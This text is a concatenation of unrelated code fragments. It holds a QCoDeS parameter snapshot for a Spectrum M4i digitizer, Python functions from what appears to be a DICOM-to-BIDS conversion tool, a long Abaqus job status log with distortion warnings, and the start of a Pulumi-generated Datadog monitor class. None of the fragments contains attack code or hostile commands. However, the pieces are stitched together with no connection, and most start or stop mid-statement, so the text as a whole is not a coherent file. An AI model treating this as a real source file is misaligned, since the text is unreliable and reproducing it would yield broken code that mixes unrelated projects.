'inter_delay': 0, 'instrument': 'qcodes_contrib_drivers.drivers.Spectrum.M4i.M4i', 'instrument_name': 'M4iInstrumentAdapter_spcm0', 'unit': '', 'name': 'external_trigger_termination', 'vals': '<Enum: {0, 1}>', 'post_delay': 0, 'label': 'external trigger termination'}, 'external_trigger_input_coupling': {'value': 1, 'ts': '2019-10-09 17:07:08', 'raw_value': 1, '__class__': 'qcodes.instrument.parameter.Parameter', 'full_name': 'M4iInstrumentAdapter_spcm0_external_trigger_input_coupling', 'inter_delay': 0, 'instrument': 'qcodes_contrib_drivers.drivers.Spectrum.M4i.M4i', 'instrument_name': 'M4iInstrumentAdapter_spcm0', 'unit': '', 'name': 'external_trigger_input_coupling', 'vals': '<Enum: {0, 1}>', 'post_delay': 0, 'label': 'external trigger input coupling'}, 'external_trigger_level_0': {'value': 1400, 'ts':
try: json_['EchoTime%d' % i] = (load_json(json_basename + '_magnitude%d.json' % i)['EchoTime']) except IOError as exc: lgr.error("Failed to open magnitude file: %s", exc) # might have been made R/O already, but if not -- it will be set # only later in the pipeline, so we must not make it read-only yet was_readonly = is_readonly(json_phasediffname) if was_readonly: set_readonly(json_phasediffname, False) save_json(json_phasediffname, json_) if was_readonly: set_readonly(json_phasediffname) def add_participant_record(studydir, subject, age, sex): participants_tsv = op.join(studydir, 'participants.tsv') participant_id = 'sub-%s' % subject if not create_file_if_missing(participants_tsv, '\t'.join(['participant_id', 'age', 'sex', 'group']) + '\n'): # check if may be subject record already exists with open(participants_tsv) as f: f.readline() known_subjects = {l.split('\t')[0] for l in f.readlines()} if participant_id in known_subjects: return else: # Populate particpants.json (an optional file to describe column names in # participant.tsv). This auto generation will make BIDS-validator happy. participants_json = op.join(studydir, 'participants.json') if not op.lexists(participants_json): save_json(participants_json, OrderedDict([ ("participant_id", OrderedDict([ ("Description", "Participant identifier")])), ("age", OrderedDict([ ("Description", "Age in years (TODO - verify) as in the initial" " session, might not be correct for other sessions")])), ("sex", OrderedDict([ ("Description", "self-rated by participant, M for male/F for " "female (TODO: verify)")])), ("group", OrderedDict([ ("Description", "(TODO: adjust - by default everyone is in " "control group)")])), ]), sort_keys=False) # Add a new participant with open(participants_tsv, 'a') as f: f.write( '\t'.join(map(str, [participant_id, maybe_na(treat_age(age)), maybe_na(sex), 'control'])) + '\n') def find_subj_ses(f_name): """Given a path to the bids formatted filename parse out subject/session""" # we will allow the match at either directories or within filename # assuming that bids layout is "correct" regex = re.compile('sub-(?P<subj>[a-zA-Z0-9]*)([/_]ses-(?P<ses>[a-zA-Z0-9]*))?') regex_res = regex.search(f_name) res = regex_res.groupdict() if regex_res else {} return res.get('subj', None), res.get('ses', None) def save_scans_key(item, bids_files): """ Parameters ---------- item: bids_files: str or list Returns ------- """ rows = {} assert bids_files, "we do expect some files since it was called" # we will need to deduce subject and session from the bids_filename # and if there is a conflict, we would just blow since this function # should be invoked only on a result of a single item conversion as far # as I see it, so should have the same subject/session subj, ses = None, None for bids_file in bids_files: # get filenames f_name = '/'.join(bids_file.split('/')[-2:]) f_name = f_name.replace('json', 'nii.gz') rows[f_name] = get_formatted_scans_key_row(item[-1][0]) subj_, ses_ = find_subj_ses(f_name) if not subj_: lgr.warning( "Failed to detect fulfilled BIDS layout. " "No scans.tsv file(s) will be produced for %s", ", ".join(bids_files) ) return if subj and subj_ != subj: raise ValueError( "We found before subject %s but now deduced %s from %s" % (subj, subj_, f_name)) subj = subj_ if ses and ses_ != ses: raise ValueError( "We found before session %s but now deduced %s from %s" % (ses, ses_, f_name) ) ses = ses_ # where should we store it? output_dir = op.dirname(op.dirname(bids_file)) # save ses = '_ses-%s' % ses if ses else '' add_rows_to_scans_keys_file( op.join(output_dir, 'sub-{0}{1}_scans.tsv'.format(subj, ses)), rows) def add_rows_to_scans_keys_file(fn, newrows): """ Add new rows to file fn for scans key filename and generate accompanying json descriptor to make BIDS validator happy. Parameters ---------- fn: filename newrows: extra rows to add dict fn: [acquisition time, referring physician, random string] """ if op.lexists(fn): with open(fn, 'r') as csvfile: reader = csv.reader(csvfile, delimiter='\t') existing_rows = [row for row in reader] # skip header fnames2info = {row[0]: row[1:] for row in existing_rows[1:]} newrows_key = newrows.keys() newrows_toadd = list(set(newrows_key) - set(fnames2info.keys())) for key_toadd in newrows_toadd: fnames2info[key_toadd] = newrows[key_toadd] # remove os.unlink(fn) else: fnames2info = newrows header = SCANS_FILE_FIELDS # prepare all the data rows data_rows = [[k] + v for k, v in fnames2info.items()] # sort by the date/filename try: data_rows_sorted = sorted(data_rows, key=lambda x: (x[1], x[0])) except TypeError as exc: lgr.warning("Sorting scans by date failed: %s", str(exc)) data_rows_sorted = sorted(data_rows) # save with open(fn, 'a') as csvfile: writer = csv.writer(csvfile, delimiter='\t') writer.writerows([header] + data_rows_sorted) def get_formatted_scans_key_row(dcm_fn): """ Parameters ---------- item Returns ------- row: list [ISO acquisition time, performing physician name, random string] """ dcm_data = dcm.read_file(dcm_fn, stop_before_pixels=True, force=True) # we need to store filenames and acquisition times # parse date and time of start of run acquisition and get it into isoformat try: date = dcm_data.AcquisitionDate time = dcm_data.AcquisitionTime acq_time = get_datetime(date, time) except (AttributeError, ValueError) as exc: lgr.warning("Failed to get date/time for the content: %s", str(exc)) acq_time = '' # add random string # But let's make it reproducible by using all UIDs # (might change across versions?) randcontent = u''.join( [getattr(dcm_data, f) or '' for f in sorted(dir(dcm_data)) if f.endswith('UID')] ) randstr = hashlib.md5(randcontent.encode()).hexdigest()[:8] try: perfphys = dcm_data.PerformingPhysicianName except AttributeError: perfphys = '' row = [acq_time, perfphys, randstr] # empty entries should be 'n/a' # https://github.com/dartmouth-pbs/heudiconv/issues/32 row = ['n/a' if not str(e) else e for e in row] return row def convert_sid_bids(subject_id): """Strips any non-BIDS compliant characters within subject_id Parameters ---------- subject_id : string Returns ------- sid : string New subject ID subject_id : string Original subject ID """ cleaner = lambda y: ''.join([x for x in y if x.isalnum()]) sid = cleaner(subject_id) if not sid: raise ValueError( "Subject ID became empty after cleanup. Please provide manually " "a suitable alphanumeric subject ID") lgr.warning('{0} contained nonalphanumeric character(s), subject ' 'ID was cleaned to be {1}'.format(subject_id, sid)) return sid, subject_id def get_shim_setting(json_file): """ Gets the "ShimSetting" field from a json_file. If no "ShimSetting" present, return error Parameters: ---------- json_file : str Returns: ------- str with "ShimSetting" value """ data = load_json(json_file) try: shims = data[SHIM_KEY] except KeyError as e: lgr.error('File %s does not have "%s". ' 'Please use a different "matching_parameters" in your heuristic file', json_file, SHIM_KEY) raise KeyError return shims def find_fmap_groups(fmap_dir): """ Finds the different fmap groups in a fmap directory. By groups here we mean fmaps that are intended to go together (with reversed PE polarity, magnitude/phase, etc.) Parameters: ---------- fmap_dir : str or os.path path to the session folder (or to the subject folder, if there are no sessions). Returns: ------- fmap_groups : dict key: prefix common to the group (e.g. no "dir" entity, "_phase"/"_magnitude", ...) value: list of all fmap paths in the group """ if op.basename(fmap_dir) != 'fmap': lgr.error('%s is not a fieldmap folder', fmap_dir) # Get a list of all fmap json files in the session: fmap_jsons = sorted(glob(op.join(fmap_dir, '*.json'))) # RegEx to remove fmap-specific substrings from fmap file names # "_phase[1,2]", "_magnitude[1,2]", "_phasediff", "_dir-<label>", ... fmap_regex = re.compile( '(_dir-[0-9,a-z,A-Z]*)*' # for pepolar case '(_phase[12])*' # for phase images '(_phasediff)*' # for phasediff images '(_magnitude[12])*' # for magnitude images '(_fieldmap)*' # for actual fieldmap images ) # Find the unique prefixes ('splitext' removes the extension): prefixes = sorted( set(fmap_regex.sub('', remove_suffix(op.basename(fm), '.json')) for fm in fmap_jsons) ) fmap_groups = OrderedDict() for k in prefixes: fmap_groups[k] = [ fm for fm in fmap_jsons if fmap_regex.sub('', remove_suffix(op.basename(fm), '.json')) == k ] return fmap_groups def get_key_info_for_fmap_assignment(json_file, matching_parameter): """ Gets key information needed to assign fmaps to other modalities. (Note: It is the responsibility of the calling function to make sure the arguments are OK) Parameters: ---------- json_file : str or os.path path to the json file matching_parameter : str in AllowedFmapParameterMatching matching_parameter that will be used to match runs Returns: ------- key_info : dict part of the json file that will need to match between the fmap and the other image """ if not op.exists(json_file): raise FileNotFoundError( errno.ENOENT, os.strerror(errno.ENOENT), json_file ) # loop through the possible criteria and extract the info needed if matching_parameter == 'Shims': key_info = [get_shim_setting(json_file)] elif matching_parameter == 'ImagingVolume': from nibabel import load as nb_load nifti_file = glob(remove_suffix(json_file, '.json') + '.nii*') assert len(nifti_file) == 1 nifti_file = nifti_file[0] nifti_header = nb_load(nifti_file).header key_info = [nifti_header.get_best_affine(), nifti_header.get_data_shape()[:3]] elif matching_parameter == 'ModalityAcquisitionLabel': # Check the acq label for the fmap and the modality for others: modality = op.basename(op.dirname(json_file)) if modality == 'fmap': # extract the <acq> entity: acq_label = BIDSFile.parse(op.basename(json_file))['acq'] if any(s in acq_label.lower() for s in ['fmri', 'bold', 'func']): key_info
'frame': 185, 'jobName': 'OneTaper3D'}) mdb.jobs['OneTaper3D']._Message(STATUS, {'totalTime': 0.67741375183381, 'attempts': 2, 'timeIncrement': 0.00154294925906893, 'increment': 185, 'stepTime': 0.67741375183381, 'step': 1, 'jobName': 'OneTaper3D', 'severe': 0, 'iterations': 1, 'phase': STANDARD_PHASE, 'equilibrium': 1}) mdb.jobs['OneTaper3D']._Message(ODB_FRAME, {'phase': STANDARD_PHASE, 'step': 0, 'frame': 186, 'jobName': 'OneTaper3D'}) mdb.jobs['OneTaper3D']._Message(STATUS, {'totalTime': 0.678956701092879, 'attempts': 1, 'timeIncrement': 0.00154294925906893, 'increment': 186, 'stepTime': 0.678956701092879, 'step': 1, 'jobName': 'OneTaper3D', 'severe': 0, 'iterations': 1, 'phase': STANDARD_PHASE, 'equilibrium': 1}) mdb.jobs['OneTaper3D']._Message(ODB_FRAME, {'phase': STANDARD_PHASE, 'step': 0, 'frame': 187, 'jobName': 'OneTaper3D'}) mdb.jobs['OneTaper3D']._Message(STATUS, {'totalTime': 0.681271124981483, 'attempts': 1, 'timeIncrement': 0.00231442388860339, 'increment': 187, 'stepTime': 0.681271124981483, 'step': 1, 'jobName': 'OneTaper3D', 'severe': 0, 'iterations': 1, 'phase': STANDARD_PHASE, 'equilibrium': 1}) mdb.jobs['OneTaper3D']._Message(ODB_FRAME, {'phase': STANDARD_PHASE, 'step': 0, 'frame': 188, 'jobName': 'OneTaper3D'}) mdb.jobs['OneTaper3D']._Message(STATUS, {'totalTime': 0.684742760814388, 'attempts': 1, 'timeIncrement': 0.00347163583290509, 'increment': 188, 'stepTime': 0.684742760814388, 'step': 1, 'jobName': 'OneTaper3D', 'severe': 0, 'iterations': 1, 'phase': STANDARD_PHASE, 'equilibrium': 1}) mdb.jobs['OneTaper3D']._Message(ODB_FRAME, {'phase': STANDARD_PHASE, 'step': 0, 'frame': 189, 'jobName': 'OneTaper3D'}) mdb.jobs['OneTaper3D']._Message(STATUS, {'totalTime': 0.689950214563746, 'attempts': 1, 'timeIncrement': 0.00520745374935763, 'increment': 189, 'stepTime': 0.689950214563746, 'step': 1, 'jobName': 'OneTaper3D', 'severe': 0, 'iterations': 1, 'phase': STANDARD_PHASE, 'equilibrium': 1}) mdb.jobs['OneTaper3D']._Message(WARNING, {'phase': STANDARD_PHASE, 'message': 'EXCESSIVE DISTORTION AT A TOTAL OF 2937 INTEGRATION POINTS IN SOLID (CONTINUUM) ELEMENTS', 'jobName': 'OneTaper3D'}) mdb.jobs['OneTaper3D']._Message(STATUS, {'totalTime': 0.689950214563746, 'attempts': ' 1U', 'timeIncrement': 0.00781118062403645, 'increment': 190, 'stepTime': 0.689950214563746, 'step': 1, 'jobName': 'OneTaper3D', 'severe': 0, 'iterations': 2, 'phase': STANDARD_PHASE, 'equilibrium': 2}) mdb.jobs['OneTaper3D']._Message(ODB_FRAME, {'phase': STANDARD_PHASE, 'step': 0, 'frame': 190, 'jobName': 'OneTaper3D'}) mdb.jobs['OneTaper3D']._Message(STATUS, {'totalTime': 0.691903009719755, 'attempts': 2, 'timeIncrement': 0.00195279515600911, 'increment': 190, 'stepTime': 0.691903009719755, 'step': 1, 'jobName': 'OneTaper3D', 'severe': 0, 'iterations': 1, 'phase': STANDARD_PHASE, 'equilibrium': 1}) mdb.jobs['OneTaper3D']._Message(ODB_FRAME, {'phase': STANDARD_PHASE, 'step': 0, 'frame': 191, 'jobName': 'OneTaper3D'}) mdb.jobs['OneTaper3D']._Message(STATUS, {'totalTime': 0.694832202453768, 'attempts': 1, 'timeIncrement': 0.00292919273401367, 'increment': 191, 'stepTime': 0.694832202453768, 'step': 1, 'jobName': 'OneTaper3D', 'severe': 0, 'iterations': 1, 'phase': STANDARD_PHASE, 'equilibrium': 1}) mdb.jobs['OneTaper3D']._Message(ODB_FRAME, {'phase': STANDARD_PHASE, 'step': 0, 'frame': 192, 'jobName': 'OneTaper3D'}) mdb.jobs['OneTaper3D']._Message(STATUS, {'totalTime': 0.699225991554789, 'attempts': 1, 'timeIncrement': 0.0043937891010205, 'increment': 192, 'stepTime': 0.699225991554789, 'step': 1, 'jobName': 'OneTaper3D', 'severe': 0, 'iterations': 1, 'phase': STANDARD_PHASE, 'equilibrium': 1}) mdb.jobs['OneTaper3D']._Message(WARNING, {'phase': STANDARD_PHASE, 'message': 'EXCESSIVE DISTORTION AT A TOTAL OF 1361 INTEGRATION POINTS IN SOLID (CONTINUUM) ELEMENTS', 'jobName': 'OneTaper3D'}) mdb.jobs['OneTaper3D']._Message(STATUS, {'totalTime': 0.699225991554789, 'attempts': ' 1U', 'timeIncrement': 0.00659068365153075, 'increment': 193, 'stepTime': 0.699225991554789, 'step': 1, 'jobName': 'OneTaper3D', 'severe': 0, 'iterations': 4, 'phase': STANDARD_PHASE, 'equilibrium': 4}) mdb.jobs['OneTaper3D']._Message(ODB_FRAME, {'phase': STANDARD_PHASE, 'step': 0, 'frame': 193, 'jobName': 'OneTaper3D'}) mdb.jobs['OneTaper3D']._Message(STATUS, {'totalTime': 0.700873662467671, 'attempts': 2, 'timeIncrement': 0.00164767091288269, 'increment': 193, 'stepTime': 0.700873662467671, 'step': 1, 'jobName': 'OneTaper3D', 'severe': 0, 'iterations': 1, 'phase': STANDARD_PHASE, 'equilibrium': 1}) mdb.jobs['OneTaper3D']._Message(ODB_FRAME, {'phase': STANDARD_PHASE, 'step': 0, 'frame': 194, 'jobName': 'OneTaper3D'}) mdb.jobs['OneTaper3D']._Message(STATUS, {'totalTime': 0.703345168836995, 'attempts': 1, 'timeIncrement': 0.00247150636932403, 'increment': 194, 'stepTime': 0.703345168836995, 'step': 1, 'jobName': 'OneTaper3D', 'severe': 0, 'iterations': 1, 'phase': STANDARD_PHASE, 'equilibrium': 1}) mdb.jobs['OneTaper3D']._Message(ODB_FRAME, {'phase': STANDARD_PHASE, 'step': 0, 'frame': 195, 'jobName': 'OneTaper3D'}) mdb.jobs['OneTaper3D']._Message(STATUS, {'totalTime': 0.707052428390982, 'attempts': 1, 'timeIncrement': 0.00370725955398605, 'increment': 195, 'stepTime': 0.707052428390982, 'step': 1, 'jobName': 'OneTaper3D', 'severe': 0, 'iterations': 1, 'phase': STANDARD_PHASE, 'equilibrium': 1}) mdb.jobs['OneTaper3D']._Message(STATUS, {'totalTime': 0.707052428390982, 'attempts': ' 1U', 'timeIncrement': 0.00556088933097907, 'increment': 196, 'stepTime': 0.707052428390982, 'step': 1, 'jobName': 'OneTaper3D', 'severe': 0, 'iterations': 5, 'phase': STANDARD_PHASE, 'equilibrium': 5}) mdb.jobs['OneTaper3D']._Message(ODB_FRAME, {'phase': STANDARD_PHASE, 'step': 0, 'frame': 196, 'jobName': 'OneTaper3D'}) mdb.jobs['OneTaper3D']._Message(STATUS, {'totalTime': 0.708442650723726, 'attempts': 2, 'timeIncrement': 0.00139022233274477, 'increment': 196, 'stepTime': 0.708442650723726, 'step': 1, 'jobName': 'OneTaper3D', 'severe': 0, 'iterations': 1, 'phase': STANDARD_PHASE, 'equilibrium': 1}) mdb.jobs['OneTaper3D']._Message(ODB_FRAME, {'phase': STANDARD_PHASE, 'step': 0, 'frame': 197, 'jobName': 'OneTaper3D'}) mdb.jobs['OneTaper3D']._Message(STATUS, {'totalTime': 0.710527984222843, 'attempts': 1, 'timeIncrement': 0.00208533349911715, 'increment': 197, 'stepTime': 0.710527984222843, 'step': 1, 'jobName': 'OneTaper3D', 'severe': 0, 'iterations': 1, 'phase': STANDARD_PHASE, 'equilibrium': 1}) mdb.jobs['OneTaper3D']._Message(ODB_FRAME, {'phase': STANDARD_PHASE, 'step': 0, 'frame': 198, 'jobName': 'OneTaper3D'}) mdb.jobs['OneTaper3D']._Message(STATUS, {'totalTime': 0.713655984471519, 'attempts': 1, 'timeIncrement': 0.00312800024867573, 'increment': 198, 'stepTime': 0.713655984471519, 'step': 1, 'jobName': 'OneTaper3D', 'severe': 0, 'iterations': 1, 'phase': STANDARD_PHASE, 'equilibrium': 1}) mdb.jobs['OneTaper3D']._Message(ODB_FRAME, {'phase': STANDARD_PHASE, 'step': 0, 'frame': 199, 'jobName': 'OneTaper3D'}) mdb.jobs['OneTaper3D']._Message(STATUS, {'totalTime': 0.718347984844533, 'attempts': 1, 'timeIncrement': 0.00469200037301359, 'increment': 199, 'stepTime': 0.718347984844533, 'step': 1, 'jobName': 'OneTaper3D', 'severe': 0, 'iterations': 4, 'phase': STANDARD_PHASE, 'equilibrium': 4}) mdb.jobs['OneTaper3D']._Message(WARNING, {'phase': STANDARD_PHASE, 'message': 'EXCESSIVE DISTORTION AT A TOTAL OF 100 INTEGRATION POINTS IN SOLID (CONTINUUM) ELEMENTS', 'jobName': 'OneTaper3D'}) mdb.jobs['OneTaper3D']._Message(STATUS, {'totalTime': 0.718347984844533, 'attempts': ' 1U', 'timeIncrement': 0.00703800055952039, 'increment': 200, 'stepTime': 0.718347984844533, 'step': 1, 'jobName': 'OneTaper3D', 'severe': 0, 'iterations': 4, 'phase': STANDARD_PHASE, 'equilibrium': 4}) mdb.jobs['OneTaper3D']._Message(ODB_FRAME, {'phase': STANDARD_PHASE, 'step': 0, 'frame': 200, 'jobName': 'OneTaper3D'}) mdb.jobs['OneTaper3D']._Message(STATUS, {'totalTime': 0.720107484984413, 'attempts': 2, 'timeIncrement': 0.0017595001398801, 'increment': 200, 'stepTime': 0.720107484984413, 'step': 1, 'jobName': 'OneTaper3D', 'severe': 0, 'iterations': 1, 'phase': STANDARD_PHASE, 'equilibrium': 1}) mdb.jobs['OneTaper3D']._Message(ODB_FRAME, {'phase': STANDARD_PHASE, 'step': 0, 'frame': 201, 'jobName': 'OneTaper3D'}) mdb.jobs['OneTaper3D']._Message(STATUS, {'totalTime': 0.722746735194233, 'attempts': 1, 'timeIncrement': 0.00263925020982015, 'increment': 201, 'stepTime': 0.722746735194233, 'step': 1, 'jobName': 'OneTaper3D', 'severe': 0, 'iterations': 3, 'phase': STANDARD_PHASE, 'equilibrium': 3}) mdb.jobs['OneTaper3D']._Message(ODB_FRAME, {'phase': STANDARD_PHASE, 'step': 0, 'frame': 202, 'jobName': 'OneTaper3D'}) mdb.jobs['OneTaper3D']._Message(STATUS, {'totalTime': 0.726705610508963, 'attempts': 1, 'timeIncrement': 0.00395887531473022, 'increment': 202, 'stepTime': 0.726705610508963, 'step': 1, 'jobName': 'OneTaper3D', 'severe': 0, 'iterations': 4, 'phase': STANDARD_PHASE, 'equilibrium': 4}) mdb.jobs['OneTaper3D']._Message(WARNING, {'phase': STANDARD_PHASE, 'message': 'EXCESSIVE DISTORTION AT A TOTAL OF 43 INTEGRATION POINTS IN SOLID (CONTINUUM) ELEMENTS', 'jobName': 'OneTaper3D'}) mdb.jobs['OneTaper3D']._Message(STATUS, {'totalTime': 0.726705610508963, 'attempts': ' 1U', 'timeIncrement': 0.00593831297209533, 'increment': 203, 'stepTime': 0.726705610508963, 'step': 1, 'jobName': 'OneTaper3D', 'severe': 0, 'iterations': 4, 'phase': STANDARD_PHASE, 'equilibrium': 4}) mdb.jobs['OneTaper3D']._Message(ODB_FRAME, {'phase': STANDARD_PHASE, 'step': 0, 'frame': 203, 'jobName': 'OneTaper3D'}) mdb.jobs['OneTaper3D']._Message(STATUS, {'totalTime': 0.728190188751987, 'attempts': 2, 'timeIncrement': 0.00148457824302383, 'increment': 203, 'stepTime': 0.728190188751987, 'step': 1, 'jobName': 'OneTaper3D', 'severe': 0, 'iterations': 3, 'phase': STANDARD_PHASE, 'equilibrium': 3}) mdb.jobs['OneTaper3D']._Message(ODB_FRAME, {'phase': STANDARD_PHASE, 'step': 0, 'frame': 204, 'jobName': 'OneTaper3D'}) mdb.jobs['OneTaper3D']._Message(STATUS, {'totalTime': 0.730417056116523, 'attempts': 1, 'timeIncrement': 0.00222686736453575, 'increment': 204, 'stepTime': 0.730417056116523, 'step': 1, 'jobName': 'OneTaper3D', 'severe': 0, 'iterations': 2, 'phase': STANDARD_PHASE, 'equilibrium': 2}) mdb.jobs['OneTaper3D']._Message(ODB_FRAME, {'phase': STANDARD_PHASE, 'step': 0, 'frame': 205, 'jobName': 'OneTaper3D'}) mdb.jobs['OneTaper3D']._Message(STATUS, {'totalTime': 0.733757357163326, 'attempts': 1, 'timeIncrement': 0.00334030104680362, 'increment': 205, 'stepTime': 0.733757357163326, 'step': 1, 'jobName': 'OneTaper3D', 'severe': 0, 'iterations': 4, 'phase': STANDARD_PHASE, 'equilibrium': 4}) mdb.jobs['OneTaper3D']._Message(STATUS, {'totalTime': 0.733757357163326, 'attempts': ' 1U', 'timeIncrement': 0.00501045157020543, 'increment': 206, 'stepTime': 0.733757357163326, 'step': 1, 'jobName': 'OneTaper3D', 'severe': 0, 'iterations': 4, 'phase': STANDARD_PHASE, 'equilibrium': 4}) mdb.jobs['OneTaper3D']._Message(ODB_FRAME, {'phase': STANDARD_PHASE, 'step': 0, 'frame': 206, 'jobName': 'OneTaper3D'}) mdb.jobs['OneTaper3D']._Message(STATUS, {'totalTime': 0.735009970055878, 'attempts': 2, 'timeIncrement': 0.00125261289255136, 'increment': 206, 'stepTime': 0.735009970055878, 'step': 1, 'jobName': 'OneTaper3D', 'severe': 0, 'iterations': 2, 'phase': STANDARD_PHASE, 'equilibrium': 2}) mdb.jobs['OneTaper3D']._Message(ODB_FRAME, {'phase': STANDARD_PHASE, 'step': 0, 'frame': 207, 'jobName': 'OneTaper3D'}) mdb.jobs['OneTaper3D']._Message(STATUS, {'totalTime': 0.736888889394705, 'attempts': 1, 'timeIncrement': 0.00187891933882704, 'increment': 207, 'stepTime': 0.736888889394705, 'step': 1, 'jobName': 'OneTaper3D', 'severe': 0, 'iterations': 2, 'phase': STANDARD_PHASE, 'equilibrium': 2}) mdb.jobs['OneTaper3D']._Message(ODB_FRAME, {'phase': STANDARD_PHASE, 'step': 0, 'frame': 208, 'jobName': 'OneTaper3D'}) mdb.jobs['OneTaper3D']._Message(STATUS, {'totalTime': 0.739707268402945, 'attempts': 1, 'timeIncrement': 0.00281837900824056, 'increment': 208, 'stepTime': 0.739707268402945, 'step': 1, 'jobName': 'OneTaper3D', 'severe': 0, 'iterations': 2, 'phase': STANDARD_PHASE, 'equilibrium': 2}) mdb.jobs['OneTaper3D']._Message(ODB_FRAME, {'phase': STANDARD_PHASE, 'step': 0, 'frame': 209, 'jobName': 'OneTaper3D'}) mdb.jobs['OneTaper3D']._Message(STATUS, {'totalTime': 0.743934836915306, 'attempts': 1, 'timeIncrement': 0.00422756851236083, 'increment': 209, 'stepTime': 0.743934836915306, 'step': 1, 'jobName': 'OneTaper3D', 'severe': 0, 'iterations': 7, 'phase': STANDARD_PHASE, 'equilibrium': 7}) mdb.jobs['OneTaper3D']._Message(STATUS, {'totalTime': 0.743934836915306, 'attempts': ' 1U', 'timeIncrement': 0.00422756851236083, 'increment': 210, 'stepTime': 0.743934836915306, 'step': 1, 'jobName': 'OneTaper3D', 'severe': 0, 'iterations': 6, 'phase': STANDARD_PHASE, 'equilibrium': 6}) mdb.jobs['OneTaper3D']._Message(ODB_FRAME, {'phase': STANDARD_PHASE, 'step': 0, 'frame': 210, 'jobName': 'OneTaper3D'}) mdb.jobs['OneTaper3D']._Message(STATUS, {'totalTime': 0.744991729043397, 'attempts': 2, 'timeIncrement': 0.00105689212809021, 'increment': 210, 'stepTime': 0.744991729043397, 'step': 1, 'jobName': 'OneTaper3D', 'severe': 0, 'iterations': 2, 'phase': STANDARD_PHASE, 'equilibrium': 2}) mdb.jobs['OneTaper3D']._Message(ODB_FRAME, {'phase': STANDARD_PHASE, 'step': 0, 'frame': 211, 'jobName': 'OneTaper3D'}) mdb.jobs['OneTaper3D']._Message(STATUS, {'totalTime': 0.746048621171487, 'attempts': 1, 'timeIncrement': 0.00105689212809021, 'increment': 211, 'stepTime': 0.746048621171487, 'step': 1, 'jobName': 'OneTaper3D', 'severe': 0, 'iterations': 2, 'phase': STANDARD_PHASE, 'equilibrium': 2}) mdb.jobs['OneTaper3D']._Message(ODB_FRAME, {'phase': STANDARD_PHASE, 'step': 0, 'frame': 212, 'jobName': 'OneTaper3D'}) mdb.jobs['OneTaper3D']._Message(STATUS, {'totalTime': 0.747633959363622, 'attempts': 1, 'timeIncrement': 0.00158533819213531, 'increment': 212, 'stepTime': 0.747633959363622, 'step': 1, 'jobName': 'OneTaper3D', 'severe': 0, 'iterations': 2, 'phase': STANDARD_PHASE, 'equilibrium': 2}) mdb.jobs['OneTaper3D']._Message(ODB_FRAME, {'phase': STANDARD_PHASE, 'step': 0, 'frame': 213, 'jobName': 'OneTaper3D'}) mdb.jobs['OneTaper3D']._Message(STATUS, {'totalTime': 0.750011966651825, 'attempts': 1, 'timeIncrement': 0.00237800728820297, 'increment': 213, 'stepTime': 0.750011966651825, 'step': 1, 'jobName': 'OneTaper3D', 'severe': 0, 'iterations': 2, 'phase': STANDARD_PHASE, 'equilibrium': 2}) mdb.jobs['OneTaper3D']._Message(ODB_FRAME, {'phase': STANDARD_PHASE, 'step': 0, 'frame': 214, 'jobName': 'OneTaper3D'}) mdb.jobs['OneTaper3D']._Message(STATUS, {'totalTime': 0.75357897758413, 'attempts': 1, 'timeIncrement': 0.00356701093230445, 'increment': 214, 'stepTime': 0.75357897758413, 'step': 1, 'jobName': 'OneTaper3D', 'severe': 0, 'iterations': 4, 'phase': STANDARD_PHASE, 'equilibrium': 4}) mdb.jobs['OneTaper3D']._Message(ODB_FRAME, {'phase': STANDARD_PHASE,
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from . import _utilities from . import outputs from ._inputs import * __all__ = ['MonitorArgs', 'Monitor'] @pulumi.input_type class MonitorArgs: def __init__(__self__, *, message: pulumi.Input[str], name: pulumi.Input[str], query: pulumi.Input[str], type: pulumi.Input[str], enable_logs_sample: Optional[pulumi.Input[bool]] = None, escalation_message: Optional[pulumi.Input[str]] = None, evaluation_delay: Optional[pulumi.Input[int]] = None, force_delete: Optional[pulumi.Input[bool]] = None, groupby_simple_monitor: Optional[pulumi.Input[bool]] = None, include_tags: Optional[pulumi.Input[bool]] = None, locked: Optional[pulumi.Input[bool]] = None, monitor_threshold_windows: Optional[pulumi.Input['MonitorMonitorThresholdWindowsArgs']] = None, monitor_thresholds: Optional[pulumi.Input['MonitorMonitorThresholdsArgs']] = None, new_group_delay: Optional[pulumi.Input[int]] = None, new_host_delay: Optional[pulumi.Input[int]] = None, no_data_timeframe: Optional[pulumi.Input[int]] = None, notify_audit: Optional[pulumi.Input[bool]] = None, notify_no_data: Optional[pulumi.Input[bool]] = None, priority: Optional[pulumi.Input[int]] = None, renotify_interval: Optional[pulumi.Input[int]] = None, renotify_occurrences: Optional[pulumi.Input[int]] = None, renotify_statuses: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, require_full_window: Optional[pulumi.Input[bool]] = None, restricted_roles: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, tags: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, timeout_h: Optional[pulumi.Input[int]] = None, validate: Optional[pulumi.Input[bool]] = None): """ The set of arguments for constructing a Monitor resource. :param pulumi.Input[str] message: A message to include with notifications for this monitor. :param pulumi.Input[str] name: Name of Datadog monitor. :param pulumi.Input[str] query: The monitor query to notify on. Note this is not the same query you see in the UI and the syntax is different depending on the monitor type, please see the [API Reference](https://docs.datadoghq.com/api/v1/monitors/#create-a-monitor) for details. `terraform plan` will validate query contents unless `validate` is set to `false`. **Note:** APM latency data is now available as Distribution Metrics. Existing monitors have been migrated automatically but all terraformed monitors can still use the existing metrics. We strongly recommend updating monitor definitions to query the new metrics. To learn more, or to see examples of how to update your terraform definitions to utilize the new distribution metrics, see the [detailed doc](https://docs.datadoghq.com/tracing/guide/ddsketch_trace_metrics/). :param pulumi.Input[str] type: The type of the monitor. The mapping from these types to the types found in the Datadog Web UI can be found in the Datadog API [documentation page](https://docs.datadoghq.com/api/v1/monitors/#create-a-monitor). Note: The monitor type cannot be changed after a monitor is created. :param pulumi.Input[bool] enable_logs_sample: A boolean indicating whether or not to include a list of log values which triggered the alert. This is only used by log monitors. Defaults to `false`. :param pulumi.Input[str] escalation_message: A message to include with a re-notification. Supports the `@username` notification allowed elsewhere. :param pulumi.Input[int] evaluation_delay: (Only applies to metric alert) Time (in seconds) to delay evaluation, as a non-negative integer. For example, if the value is set to `300` (5min), the `timeframe` is set to `last_5m` and the time is 7:00, the monitor will evaluate data from 6:50 to 6:55. This is useful for AWS CloudWatch and other backfilled metrics to ensure the monitor will always have data during evaluation. :param pulumi.Input[bool] force_delete: A boolean indicating whether this monitor can be deleted even if it’s referenced 